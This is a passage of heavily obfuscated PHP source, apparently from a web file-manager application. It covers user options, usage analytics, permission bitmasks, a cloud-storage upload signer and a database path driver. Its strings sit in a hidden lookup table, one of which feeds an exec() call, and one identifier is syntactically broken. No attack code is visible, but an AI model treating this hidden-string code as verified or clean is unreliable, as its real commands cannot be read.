$D[] = array($dڊ[2079] => $C򱖊[$dڊ[2079]], $dڊ[2511] => $A[$C򱖊[$dڊ[2079]]], $dڊ[372] => $Fҙ); } $eط = $D; } foreach ($aا as &$b݂) { $b݂[$dڊ[2507]] = array(); if (isset($EĚ謈[$b݂[$dڊ[1415]]])) { $b݂[$dڊ[2507]] = $EĚ謈[$b݂[$dڊ[1415]]]; } } goto fɫ٦; A: $dڊ =& $_SERVER[ֹ]; $c薬 = array($dڊ[1415] => array($dڊ[7], $EŪ)); $EĚ謈 = Model($dڊ[2154])->where($c薬)->select(); goto dѴ; E: $c薬 = array($dڊ[2079] => array($dڊ[7], $Dʐ)); $Aֈ = Model($dڊ[2509])->field($dڊ[2510])->where($c薬)->select(); $A = array_to_keyvalue($Aֈ, $dڊ[2079], $dڊ[28]); goto e; dѴ: $Dʐ = array_to_keyvalue($EĚ謈, $dڊ[33], $dڊ[2079]); $Dʐ = array_remove_value(array_unique($Dʐ), $dڊ[464]); if (!$Dʐ || !$EĚ謈) { return; } goto E; fɫ٦: } private function _listAppendMeta(&$Fͫ氛, $cퟬ) { goto c; c: $c֘ =& $_SERVER[ֹ]; $bȆȱ = UserJobModel::JOB_KEY; $c = array($c֘[2488]); goto F; F: $Dۈ = array($c֘[1415] => array($c֘[7], $cퟬ)); $BϚ؅ = Model($c֘[2485])->where($Dۈ)->select(); $BϚ؅ = array_to_keyvalue_group($BϚ؅, $c֘[1415]); goto f; f: foreach ($BϚ؅ as &$D) { $f = array(); foreach ($D as $f܂) { if (!in_array($f܂[$c֘[89]], $c)) { $f[$f܂[$c֘[89]]] = $f܂[$c֘[355]]; } } $D = $f; } $cѤ = Model($c֘[2512]); foreach ($Fͫ氛 as &$f) { $fŸ = array(); if (isset($BϚ؅[$f[$c֘[1415]]])) { $fŸ = $BϚ؅[$f[$c֘[1415]]]; } $f[$c֘[2513]] = array(); if (isset($fŸ[$bȆȱ])) { $f[$c֘[2513]] = $cѤ->getUserJobInfo($fŸ[$bȆȱ]); } } goto eۊ; eۊ: } public function userSearch($cҚ, $DĄ = "\x2a") { return Model($_SERVER[ֹ][473])->where($cҚ)->field($DĄ)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\x65\x72\x5f\157\160\164\x69\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($eÎ) { $D =& $_SERVER[ֹ]; if (!defined($D[423])) { define($D[423], 0); } return "\x55\163\x65\162\117\x70\x74\151\157\x6e\137{$eÎ}\x5f" . USER_ID; } protected function filterWhere($Aܪֺ) { $A =& $_SERVER[ֹ]; if (!defined($A[423])) { define($A[423], 0); } $Aܪֺ[$A[1415]] = USER_ID; return $Aܪֺ; } public function cacheRemoveUser($e‘, $A刏) { return Cache::remove("\125\x73\x65\x72\x4f\160\x74\x69\x6f\x6e\x5f{$e‘}\137" . $A刏); } protected function optionDefault($eź = '') { $C =& $_SERVER[ֹ]; if ($eź == $C[33]) { return $GLOBALS[$C[6]][$C[2514]]; } if ($eź == $C[2515]) { return $GLOBALS[$C[6]][$C[2516]]; } } } goto B; Eğ: class ZipStream { } class AnalysisModel extends ModelBaseLight { public function init($f먪) { $eݘ =& $_SERVER[ֹ]; $A = array($eݘ[531] => array($eݘ[29] => $eݘ[2005], $eݘ[257] => array($eݘ[206], $eݘ[697], $eݘ[2006], $eݘ[2007])), $eݘ[2008] => array($eݘ[29] => $eݘ[2009], $eݘ[257] => array($eݘ[206], $eݘ[695], $eݘ[2010], $eݘ[2011], $eݘ[2012]))); if (!isset($A[$f먪])) { return !1; } $this->optionType = $A[$f먪][$eݘ[29]]; $this->field = $A[$f먪][$eݘ[257]]; return !0; } public function listData($AӚٔ = false, $DƎ = "\x6d\157\x64\151\x66\x79\124\x69\x6d\x65", $D = false) { return parent::listData($AӚٔ, $DƎ, $D); } public function trendList($dժ) { goto c; c뾖: foreach ($Dմ as $E݆) { $this->{$D쑅}($E݆); } return $this->listData(); goto D; aLJ: if (!isset($dɑ˃)) { $C = $dժ == $c̹[531] ? $c̹[473] : $c̹[749]; $dɑ˃ = Model($C)->min($c̹[183]); } $D쑅 = $c̹[2015] . ucfirst($dժ); $Dմ = $this->dateList($dɑ˃); goto c뾖; c: $c̹ =& $_SERVER[ֹ]; $Fݡҽ = $this->listData(); if ($Fݡҽ) { $D귇 = end($Fݡҽ); $E݆ = date($c̹[2013], strtotime($c̹[2014])); if ($D귇[$c̹[206]] == $E݆) { return $Fݡҽ; } $dɑ˃ = strtotime($D귇[$c̹[206]]); } goto aLJ; D: } private function dateList($dɮ) { $b =& $_SERVER[ֹ]; $FǗ = $dɮ; $fĢ = strtotime($b[2014]); $AД׽ = array(); while ($FǗ <= $fĢ) { $AД׽[] = date($b[2013], $FǗ); $FǗ = strtotime($b[2016], $FǗ); } return $AД׽; } public function _recordUser($fǏ = '') { goto Aг; Cގ: $Aݭ = array($cԶ͗š[183] => array($cԶ͗š[923], $Eɒ)); $dߍ = Model($cԶ͗š[473])->where($Aݭ)->count($cԶ͗š[1415]); $Aݭ[$cԶ͗š[183]] = array($cԶ͗š[317], array($f, $Eɒ)); goto fɧ; fɧ: $eNj = Model($cԶ͗š[473])->where($Aݭ)->count($cԶ͗š[1415]); $Aݭ[$cԶ͗š[29]] = $cԶ͗š[2019]; $a؎ = Model($cԶ͗š[2020])->where($Aݭ)->count($cԶ͗š[2021]); goto Aʝ; Aг: $cԶ͗š =& $_SERVER[ֹ]; $f = strtotime(date($cԶ͗š[2017], strtotime($fǏ))); $Eɒ = strtotime(date($cԶ͗š[2018], strtotime($fǏ))); goto Cގ; Aʝ: $c = array($cԶ͗š[206] => $fǏ, $cԶ͗š[697] => (int) $dߍ, $cԶ͗š[2006] => (int) $eNj, $cԶ͗š[2007] => (int) $a؎); return $this->insert($c); goto C˯; C˯: } public function _recordStore($BЧհߛ = '') { goto EέŔ; D: $d[$B۷ې[367]] = 1; $eڝ = Model($B۷ې[749])->where($d)->sum($B۷ې[77]); $d[$B۷ې[367]] = 2; goto c惇; EέŔ: $B۷ې =& $_SERVER[ֹ]; $F˭ǽ = strtotime(date($B۷ې[2018], strtotime($BЧհߛ))); $d = array($B۷ې[183] => array($B۷ې[923], $F˭ǽ)); goto cڥё; c惇: $C = Model($B۷ې[749])->where($d)->sum($B۷ې[77]); $D = array($B۷ې[206] => $BЧհߛ, $B۷ې[695] => (int) $EΏ, $B۷ې[2010] => (int) $a啾, $B۷ې[2011] => (int) $eڝ, $B۷ې[2012] => (int) $C); return $this->insert($D); goto CѠ; cڥё: $a啾 = Model($B۷ې[418])->where($d)->sum($B۷ې[77]); $d[$B۷ې[366]] = 0; $EΏ = Model($B۷ې[749])->where($d)->sum($B۷ې[77]); goto D; CѠ: } public function trend($fԪ, $B؋) { goto A; A: $aϿ =& $_SERVER[ֹ]; if (!$this->init($fԪ)) { return !1; } $AÔ = $this->trendList($fԪ); goto Eʮ; Eٔ: return $bя; goto A; Eʮ: if ($AÔ && $B؋ != $aϿ[1390]) { $f¹ = $AÔ[0][$aϿ[206]]; $d = $this->validDate($B؋, $f¹); $e檙 = array(); $f = array_to_keyvalue($AÔ, $aϿ[206]); foreach ($d as $C) { if (isset($f[$C])) { $f˷ = $f[$C]; } else { $f˷ = end($AÔ); $f˷[$aϿ[206]] = $C; if ($fԪ == $aϿ[531]) { $f˷[$aϿ[2006]] = $f˷[$aϿ[2007]] = 0; } } $e檙[] = $f˷; } $AÔ = $e檙; } $eΆ = array($aϿ[531] => array($aϿ[697] => LNG($aϿ[2022]), $aϿ[2006] => LNG($aϿ[2023]), $aϿ[2007] => LNG($aϿ[2024])), $aϿ[2008] => array($aϿ[695] => LNG($aϿ[2025]), $aϿ[2010] => LNG($aϿ[2026]), $aϿ[2011] => LNG($aϿ[2027]), $aϿ[2012] => LNG($aϿ[2028]))); $C = array($aϿ[531] => $aϿ[2029], $aϿ[2008] => $aϿ[77]); goto dᅉ; dᅉ: if (empty($AÔ)) { $C = date($aϿ[2013], strtotime($aϿ[2014])); $aȸ = array($aϿ[206] => $C); foreach ($eΆ[$fԪ] as $D => $aꂽ) { $aȸ[$D] = 0; } $AÔ[] = $aȸ; } $bя = array(); foreach ($AÔ as $aꂽ) { if ($fԪ == $aϿ[2008] && $aꂽ[$aϿ[2010]] > $aꂽ[$aϿ[695]]) { $aꂽ[$aϿ[2010]] = $aꂽ[$aϿ[695]]; } foreach ($eΆ[$fԪ] as $D => $Fɶق) { $f˷ = array($aϿ[206] => $aꂽ[$aϿ[206]], $aϿ[1323] => $Fɶق); $f˷[$C[$fԪ]] = isset($aꂽ[$D]) ? $aꂽ[$D] : 0; $bя[] = $f˷; } } goto Eٔ; A: } public function validDate($Cƿ, $d) { goto bԆ; B㐎: switch ($Cƿ) { case $fʼn[1397]: $B = mktime(0, 0, 0, date($fʼn[2030]), date($fʼn[2031]) - date($fʼn[1212]) + 7 - 7, date($fʼn[2032])); $FꃺŔ = 0; do { $D = date($fʼn[2013], $B - 3600 * 24 * 7 * $FꃺŔ); $B̈́[] = $D; $FꃺŔ++; } while ($d < $D); break; case $fʼn[1395]: $FꃺŔ = 1; do { $bҏď = date($fʼn[2033], strtotime("\55\x20{$FꃺŔ}\x20\155\x6f\x6e\164\x68\163")); $B̈́[] = $bҏď; $FꃺŔ++; } while ($d < $bҏď); break; case $fʼn[1701]: $c = (int) date($fʼn[2032], strtotime($d)); $cѧ = (int) date($fʼn[2032]); if ($c >= $cѧ) { break; } for ($c; $c < $cѧ; $c++) { $B̈́[] = $c . $fʼn[2034]; } break; default: break; } if ($d > end($B̈́)) { array_pop($B̈́); } sort($B̈́); goto b; b: return $B̈́; goto c݈ۥ; bԆ: $fʼn =& $_SERVER[ֹ]; $B = date($fʼn[2013], strtotime($fʼn[2014])); $B̈́ = array($B); goto B㐎; c݈ۥ: } public function listTable($F̪) { $c = ucfirst($F̪); return Model($c)->listData(); } public function option($F) { $d듇 = $_SERVER[ֹ][2035] . ucfirst($F); return $this->{$d듇}(); } private function optionUser() { goto BȽȷ; fř: if (!$c) { $c = 1; } $Dѕ = strtotime(date($cβ[2017])); $b길 = array($cβ[2038] => array($cβ[924], $Dѕ)); goto cҦ; cҦ: $dݿ = Model($cβ[473])->where($b길)->count($cβ[1415]); return array($cβ[692] => (int) $Cܩ, $cβ[2039] => (int) ($Cܩ - $Fٚ), $cβ[2040] => (int) $Fٚ, $cβ[2041] => (int) $dݿ, $cβ[2042] => $c); goto Dϐڒ; Aמ: $Dѕ = strtotime($cβ[2037]); $b길 = array($cβ[2038] => array($cβ[924], $Dѕ)); $c = (int) Model($cβ[473])->where($b길)->count($cβ[1415]); goto fř; BȽȷ: $cβ =& $_SERVER[ֹ]; $Cܩ = Model($cβ[473])->count($cβ[1415]); $Fٚ = Model($cβ[473])->where($cβ[2036])->count($cβ[1415]); goto Aמ; Dϐڒ: } private function optionFile() { goto aά; b: $d = $F[$f߫[2010]]; $cķ = Model($f߫[749])->where(array($f߫[366] => 0))->count($f߫[365]); $b󇨟 = array($f߫[366] => 0, $f߫[183] => array($f߫[924], strtotime(date($f߫[2017])))); goto fř; fř: $bԝ = Model($f߫[749])->where($b󇨟)->sum($f߫[77]); $DǸ = Model($f߫[749])->where($b󇨟)->count($f߫[365]); return array($f߫[695] => $A𑈢, $f߫[2010] => $d, $f߫[2043] => $A𑈢 - $d, $f߫[2044] => (int) $bԝ, $f߫[697] => (int) $cķ, $f߫[2045] => (int) $DǸ); goto DÝ㺨; aά: $f߫ =& $_SERVER[ֹ]; $F = $this->sourceSize(); $A𑈢 = $F[$f߫[77]]; goto b; DÝ㺨: } private function optionAccess() { $B¾ =& $_SERVER[ֹ]; return array($B¾[692] => $this->typeLogCnt(), $B¾[102] => $this->typeLogCnt($B¾[102]), $B¾[400] => $this->typeLogCnt($B¾[400]), $B¾[2046] => $this->typeLogCnt($B¾[2046]), $B¾[2047] => $this->typeLogCnt($B¾[2047]), $B¾[531] => $this->typeLogCnt($B¾[33], $B¾[2021])); } private function typeLogCnt($bꚵ = '', $A񐅰 = "\x69\144") { goto E; E: $dܰ =& $_SERVER[ֹ]; $dljŤ = array($dܰ[102] => array($dܰ[2048], $dܰ[2049]), $dܰ[400] => array($dܰ[2050], $dܰ[2051]), $dܰ[2046] => array($dܰ[2052], $dܰ[2053]), $dܰ[2047] => array($dܰ[2054], $dܰ[2055]), $dܰ[2056] => array($dܰ[2057], $dܰ[2058], $dܰ[2059])); $d = strtotime(date($dܰ[2017])); goto f; a: return (int) $C; goto dǮԷ; f: $F˓ = array($dܰ[183] => array($dܰ[924], $d)); if ($bꚵ) { $F˓[$dܰ[29]] = array($dܰ[7], $dljŤ[$bꚵ]); } $C = Model($dܰ[2020])->where($F˓)->count($A񐅰); goto a; dǮԷ: } private function optionServer() { goto c; c姈: if ($Fȸۤ == $F䡋[721]) { $b = explode($F䡋[1070], $C纑[$F䡋[883]]); $Fȸۤ = $b[0]; } if ($Fȸۤ == $F䡋[724] || $Fȸۤ == $F䡋[725]) { $D֧ = Model()->db()->query($F䡋[2060]); $FdžƩ = $D֧[0] && isset($D֧[0][$F䡋[1322]]) ? $D֧[0][$F䡋[1322]] : 0; $Fȸۤ = $F䡋[2061] . ($FdžƩ ? $F䡋[8] . $FdžƩ : $F䡋[33]); } $b㯦 = $GLOBALS[$F䡋[6]][$F䡋[333]][$F䡋[750]]; goto C緐¸; c: $F䡋 =& $_SERVER[ֹ]; $bω = $this->diskDriver(); $D뮗 = KodIO::defaultDriver(); goto D; e͖: $Fڇэ = $A˅[0]; $C纑 = $GLOBALS[$F䡋[6]][$F䡋[17]]; $Fȸۤ = $C纑[$F䡋[884]]; goto c姈; D: $dآ = array($F䡋[740] => $D뮗[$F䡋[363]]); $D = Model($F䡋[418])->where($dآ)->sum($F䡋[77]); $A˅ = explode($F䡋[50], $_SERVER[$F䡋[137]]); goto e͖; C緐¸: return array($F䡋[2062] => $bω ? $bω[$F䡋[2063]] : 0, $F䡋[2064] => $bω ? $bω[$F䡋[2065]] : 0, $F䡋[2066] => (int) $D뮗[$F䡋[2063]] * 1024 * 1024 * 1024, $F䡋[2067] => (int) $D, $F䡋[2068] => ucfirst($Fڇэ), $F䡋[2069] => $F䡋[2070] . PHP_VERSION, $F䡋[2071] => phpBuild64() ? 64 : 32, $F䡋[691] => str_replace($F䡋[2072], $F䡋[900], $Fȸۤ), $F䡋[333] => ucfirst($b㯦), $F䡋[28] => $_SERVER[$F䡋[2073]]); goto Eړ; Eړ: } private function diskDriver() { goto D; Bӷ: if ($cԟ) { $fˮ = $Eϻ[2076]; if (function_exists($Eϻ[2077])) { exec($Eϻ[2078], $d); $fˮ = $d[1] . $Eϻ[8]; } } if (!file_exists($fˮ)) { return; } $E = @disk_total_space($fˮ); goto DУ; D: $Eϻ =& $_SERVER[ֹ]; $fˮ = $Eϻ[8]; $cԟ = $GLOBALS[$Eϻ[6]][$Eϻ[2074]] == $Eϻ[2075]; goto Bӷ; DУ: $e = $E - @disk_free_space($fˮ); return array($Eϻ[2063] => $E, $Eϻ[2065] => $e); goto F顕; F顕: } public function fileChart($e) { goto aſ; e: $cŴ = $this->sourceSize(); $Cߵ = array($Fֳ[457] => 0, $Fֳ[367] => 1); $d侭 = Model($Fֳ[749])->where($Cߵ)->sum($Fֳ[77]); goto D; aſ: $Fֳ =& $_SERVER[ֹ]; if (isset($e[$Fֳ[1415]])) { return Model($Fֳ[749])->userFileTypeProfile($e[$Fֳ[1415]]); } if (isset($e[$Fֳ[2079]])) { return Model($Fֳ[749])->groupFileTypeProfile($e[$Fֳ[2079]]); } goto e; D: $Cߵ[$Fֳ[367]] = 2; $e֔ = Model($Fֳ[749])->where($Cߵ)->sum($Fֳ[77]); return array($Fֳ[695] => $cŴ[$Fֳ[77]], $Fֳ[2010] => $cŴ[$Fֳ[2010]], $Fֳ[2011] => (int) $d侭, $Fֳ[2012] => (int) $e֔); goto E; E: } private function sourceSize() { $DȒ =& $_SERVER[ֹ]; $B¯ل = Model($DȒ[749])->where(array($DȒ[366] => 0))->sum($DȒ[77]); $B = Model($DȒ[418])->sum($DȒ[77]); if ($B > $B¯ل) { $B = $B¯ل; } return array($DȒ[77] => (int) $B¯ل, $DȒ[2010] => (int) $B); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authDefault() { $a݊ =& $_SERVER[ֹ]; $F왷 = array(array($a݊[382] => LNG($a݊[2080]), $a݊[2081] => $a݊[2082], $a݊[2083] => 6, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($a݊[382] => LNG($a݊[2086]), $a݊[2081] => $a݊[2087], $a݊[2083] => 1, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($a݊[382] => LNG($a݊[2088]), $a݊[2081] => $a݊[2089], $a݊[2083] => 2, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($a݊[382] => LNG($a݊[2090]), $a݊[2081] => $a݊[2089], $a݊[2083] => 3, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($a݊[382] => LNG($a݊[2091]), $a݊[2081] => $a݊[2092], $a݊[2083] => 4, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_VIEW), array($a݊[382] => LNG($a݊[2093]), $a݊[2081] => $a݊[2094], $a݊[2083] => 5, $a݊[2084] => 1, $a݊[2085] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($a݊[382] => LNG($a݊[2095]), $a݊[2081] => $a݊[2096], $a݊[2083] => 7, $a݊[2084] => 1, $a݊[2085] => 0)); return $F왷; } public static function authCheck($c, $D) { $c = intval($c); if (_get($GLOBALS, $_SERVER[ֹ][453])) { return !0; } if ($c <= 0) { return !1; } if (($c & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($c & $D); } public static function authCheckShow($D) { return self::authCheck($D, self::AUTH_SHOW); } public static function authCheckView($cʄ) { return self::authCheck($cʄ, self::AUTH_VIEW); } public static function authCheckDownload($eˊύ) { return self::authCheck($eˊύ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($Cӌ) { return self::authCheck($Cӌ, self::AUTH_UPLOAD); } public static function authCheckEdit($c;伿) { return self::authCheck($c;伿, self::AUTH_EDIT); } public static function authCheckRemove($D) { return self::authCheck($D, self::AUTH_REMOVE); } public static function authCheckShare($a) { return self::authCheck($a, self::AUTH_SHARE); } public static function authCheckComment($Bƒꩡ) { return self::authCheck($Bƒꩡ, self::AUTH_COMMENT); } public static function authCheckEvent($e扂) { return self::authCheck($e扂, self::AUTH_EVENT); } public static function authCheckRoot($aĩ) { return self::authCheck($aĩ, self::AUTH_ROOT); } public static function authDisable($dÐ, $EߡԠ) { if (intval($dÐ) <= 0) { return 0; } return intval($dÐ) & ~$EߡԠ; } public $optionType = "\x53\x79\x73\x74\145\155\x2e\x73\157\165\162\x63\145\x41\x75\164\150\x4c\151\x73\x74"; public $field = array("\156\x61\155\x65", "\141\165\x74\x68", "\x6c\x61\142\145\x6c", "\x64\151\163\160\x6c\141\171", "\x73\171\x73\164\145\x6d", "\x73\157\x72\x74"); public function initData() { $bߩ = $this->authDefault(); foreach ($bߩ as $fܗ) { $this->add($fܗ); } } public function listData($bܻ = false, $FŽՔ = "\163\157\162\x74", $DÊЌ = false) { return parent::listData($bܻ, $FŽՔ, $DÊЌ); } public function update($a֌, $E΄) { $aч =& $_SERVER[ֹ]; $a = parent::listData($a֌); $Fڿ = $this->findByName($E΄[$aч[28]]); if (!$a || $Fڿ && $Fڿ[$aч[363]] != $a[$aч[363]]) { return !1; } $this->filterAuth($E΄[$aч[372]]); return parent::update($a֌, $E΄); } public function remove($fԏ) { $B = parent::listData($fԏ); if (!$B || $B[$_SERVER[ֹ][1074]]) { return !1; } return parent::remove($fԏ); } public function add($cݢ = array()) { goto D; D: $f =& $_SERVER[ֹ]; if ($this->findByName($cݢ[$f[28]])) { return !1; } $B = array($f[28] => $f[33], $f[372] => 1, $f[2097] => $f[2098], $f[2099] => 1, $f[1074] => 0, $f[2100] => 0); goto a; a: $cݢ = array_merge($B, $cݢ); $cݢ[$f[2100]] = $this->getSort(); $this->filterAuth($cݢ[$f[372]]); goto CԚ; CԚ: return parent::insert($cݢ); goto fŗLj; fŗLj: } private function getSort() { $b =& $_SERVER[ֹ]; $D = parent::listData(); $B = array_to_keyvalue($D, $b[33], $b[2100]); return empty($B) ? 0 : max($B) + 1; } private function filterAuth(&$Eݗ) { goto Eҕ; B: foreach ($dጡ as $bķ) { if (isset($E[$bķ])) { $dጡ = array_merge($dጡ, $E[$bķ]); } } $dጡ[] = self::AUTH_SHOW; $Eݗ = array_sum(array_unique($dጡ)); goto Dŝ; Dӥ: foreach ($B؇ as $bķ) { if ($Eݗ & $bķ) { $dጡ[] = $bķ; } } if (in_array(self::AUTH_ROOT, $dጡ)) { $Eݗ = array_sum($B؇); return; } $E = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); goto B; Eҕ: if (!$Eݗ) { return; } $B؇ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $dጡ = array(); goto Dӥ; Dŝ: } public function sort($F, $Cې) { return parent::update($F, $Cې); } } goto Fٮ; Cnj: class PathDriverCOS extends PathDriverBaseS3 { public function __construct($Bב) { parent::__construct($Bב); $this->signatureVersion($_SERVER[ֹ][196]); } public function uploadFormData($Cۃ, $C = 3600) { goto aސ; A: return $C猐; goto c; FՔ: $d؂Ҕ = sha1($aڙ); $CӨ˭ = hash_hmac($D[214], $d؂Ҕ, $Eѷ˅); $C猐 = array($D[1091] => $cѫѼ, $D[1095] => $bݴă, $D[1099] => base64_encode($aڙ), $D[1096] => $B, $D[1097] => $this->accessKey, $D[1100] => $A؋, $D[1101] => $CӨ˭, $D[165] => $this->getHost()); goto A; aސ: $D =& $_SERVER[ֹ]; $cѫѼ = $D[181]; $B = $D[214]; goto C; C: $bݴă = $D[1087]; $D䎳 = gmdate($D[1088], time() + $C); $A؋ = (string) time() . $D[67] . (string) (time() + $C); goto aκ; aκ: $aڙ = array($D[1089] => $D䎳, $D[1090] => array(array($D[1091] => $cѫѼ), array($D[1092] => $this->bucket), array($D[1093], $D[1094], $D[33]), array($D[1095] => $bݴă), array($D[1096] => $B), array($D[1097] => $this->accessKey), array($D[1098] => $A؋))); $aڙ = json_encode($aڙ); $Eѷ˅ = hash_hmac($D[214], $A؋, $this->secret); goto FՔ; c: } public function fileOutLink($aɦ) { $D =& $_SERVER[ֹ]; if (substr($aɦ, 0, 7) == $D[1102]) { $aɦ = $D[1103] . substr($aɦ, 7); } header($D[152] . $aɦ); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($fů) { $this->pathParse = $fů; $this->model = Model($_SERVER[ֹ][1104]); } public function getPath($C׹Է) { return trim($C׹Է, $_SERVER[ֹ][8]); } public function pathFather($e׸) { $e鱢 = $this->parse($e׸); $e鱢 = $this->infoSimple($e׸); return $e鱢 ? $e鱢[$_SERVER[ֹ][457]] : !1; } public function getPathName($Dޣ) { $c֕ = $this->infoSimple($Dޣ); return $c֕ ? $c֕[$_SERVER[ֹ][28]] : !1; } public function getPathOuter($E) { if (!$E) { return $E; } $e송 = $this->parse($E); return KodIO::make($e송[$_SERVER[ֹ][363]]); } public function copyFolderFromIO($dш, $C, $CʐǞ, $dƪ, $e) { $E֓ = $this->model->copyFolderFromIO($dш, $C, $CʐǞ, $dƪ, $e); return KodIO::make($E֓); } public function isParentOf($fЖ, $DʠӼ) { return $this->model->isParentOf($fЖ, $DʠӼ); } public function mkfile($b, $f̠ = '', $a = REPEAT_RENAME) { $f =& $_SERVER[ֹ]; $bøў = $this->parse($b); $b = $bøў[$f[363]]; for ($c겟 = 0; $c겟 < count($bøў[$f[1105]]); $c겟++) { $A = $bøў[$f[1105]][$c겟]; if ($c겟 == count($bøў[$f[1105]]) - 1) { $b = $this->model->mkfile($b, $AÂ, $f̠, $a); break; } $b = $this->model->mkdir($b, $AÂ, REPEAT_SKIP); } return $this->getPathOuter($b); } public function mkdir($d, $b = REPEAT_SKIP) { $e =& $_SERVER[ֹ]; $F = $this->parse($d); $d = $F[$e[363]]; for ($c = 0; $c < count($F[$e[1105]]); $c++) { $B膇 = $F[$e[1105]][$c]; $d = $this->model->mkdir($d, $B膇, $b); } return $this->getPathOuter($d); } public function copyFile($C͠, $Fإ, $C򓜏 = REPEAT_REPLACE) { $fߢ =& $_SERVER[ֹ]; $d䨗ߣ = $this->parse($Fإ); $eȸ = $this->model->copy($C͠, $d䨗ߣ[$fߢ[363]], $C򓜏, $d䨗ߣ[$fߢ[75]]); return $eȸ ? $this->getPathOuter($eȸ) : !1; } public function moveFile($Aų̑, $d͐, $e = REPEAT_REPLACE) { $C =& $_SERVER[ֹ]; $E􍂗 = $this->parse($d͐); $a㿐 = $this->model->move($Aų̑, $E􍂗[$C[363]], $e, $E􍂗[$C[75]]); return $a㿐 ? $this->getPathOuter($a㿐) : !1; } public function copy($bΧ, $E滓, $Aڪӹ = REPEAT_REPLACE) { $e֗ = $this->parse($E滓); $bǷ = $this->model->copy($bΧ, $e֗[$_SERVER[ֹ][363]], $Aڪӹ); return $bǷ ? $this->getPathOuter($bǷ) : !1; } public function move($C枖, $E鏈, $C = REPEAT_REPLACE) { $c佽Р = $this->parse($E鏈); $aݍӄ = $this->model->move($C枖, $c佽Р[$_SERVER[ֹ][363]], $C); return $aݍӄ ? $this->getPathOuter($aݍӄ) : !1; } public function remove($C붑, $Aƃ = true) { return $this->model->remove($C붑, $Aƃ); } public function rename($e, $eօƮ) { $eк = $this->model->rename($e, $eօƮ); return $eк ? $this->getPathOuter($e) : $eк; } public function size($DǼ) { $eؽÍ = $this->infoSimple($DǼ); return $eؽÍ ? $eؽÍ[$_SERVER[ֹ][77]] : 0; } public function infoSimple($Cସ̓) { return $this->model->sourceInfo($Cସ̓); } public function info($dمʗ) { return $this->infoParse($dمʗ); } public function infoAuth($d) { return $this->infoParse($d, !1, !0); } public function infoWithChildren($aą) { return $this->infoParse($aą, !0); } protected function infoParse($fʨ˴, $B񵗘 = false, $bѻ = false) { if (!$B񵗘) { return $this->model->pathInfo($fʨ˴, $bѻ); } return $this->model->pathInfoMore($fʨ˴); } public function infoFull($B稡Ϡ) { $f͕ =& $_SERVER[ֹ]; $Cĉ₄ = explode($f͕[8], $B稡Ϡ); $cބ = implode($f͕[8], array_splice($Cĉ₄, 1)); return $this->model->pathInfoByPath($Cĉ₄[0], $cބ); } public function hashSimple($c艝) { $b˄ =& $_SERVER[ֹ]; $bɑ = $this->infoWithChildren($c艝); return $bɑ[$b˄[158]][$b˄[160]]; } public function hashMd5($A׃) { $cߪ =& $_SERVER[ֹ]; $b = $this->infoWithChildren($A׃); return $b[$cߪ[158]][$cߪ[159]]; } public function exist($CПֻ) { $Dҿ =& $_SERVER[ֹ]; $C͐ = $this->parse($CПֻ); if (!$C͐[$Dҿ[75]]) { return $this->isFile($CПֻ) || $this->isFolder($CПֻ); } $e = array($Dҿ[364] => $C͐[$Dҿ[363]], $Dҿ[28] => $C͐[$Dҿ[75]]); $cƃ = $this->model->where($e)->find(); return $cƃ ? !0 : !1; } public function isFile($fܹ) { $E =& $_SERVER[ֹ]; $cש = $this->infoSimple($fܹ); return $cש && $cש[$E[366]] == $E[83] ? !1 : !0; } public function isFolder($eŸ) { $e =& $_SERVER[ֹ]; $fķń = $this->infoSimple($eŸ); return $fķń && $fķń[$e[366]] == $e[83] ? !0 : !1; } public function listPath($Eн, $A觭 = false) { $bш =& $_SERVER[ֹ]; if ($Eн == $bш[33]) { return !1; } $EΜߎ = array($bш[364] => $Eн); if ($A觭) { return $this->model->listSource($EΜߎ, -1); } return $this->model->listSource($EΜߎ); } public function has($aƢҝ, $Bɸ = false, $D䮍 = null) { $d =& $_SERVER[ֹ]; $bД = $this->infoWithChildren($aƢҝ); if ($Bɸ) { return array($d[188] => $bД[$d[188]], $d[187] => $bД[$d[187]]); } return $D䮍 ? $bД[$d[188]] : $bД[$d[187]]; } public function listAll($fȓ) { $E쥑 = IO::info($this->pathParse[$_SERVER[ֹ][75]]); if (!$E쥑) { return array(); } return $this->model->listAll($fȓ); } public function getContent($b÷ֆ) { return $this->model->getContent($b÷ֆ); } public function setContent($Eз, $Dʔ = '') { return 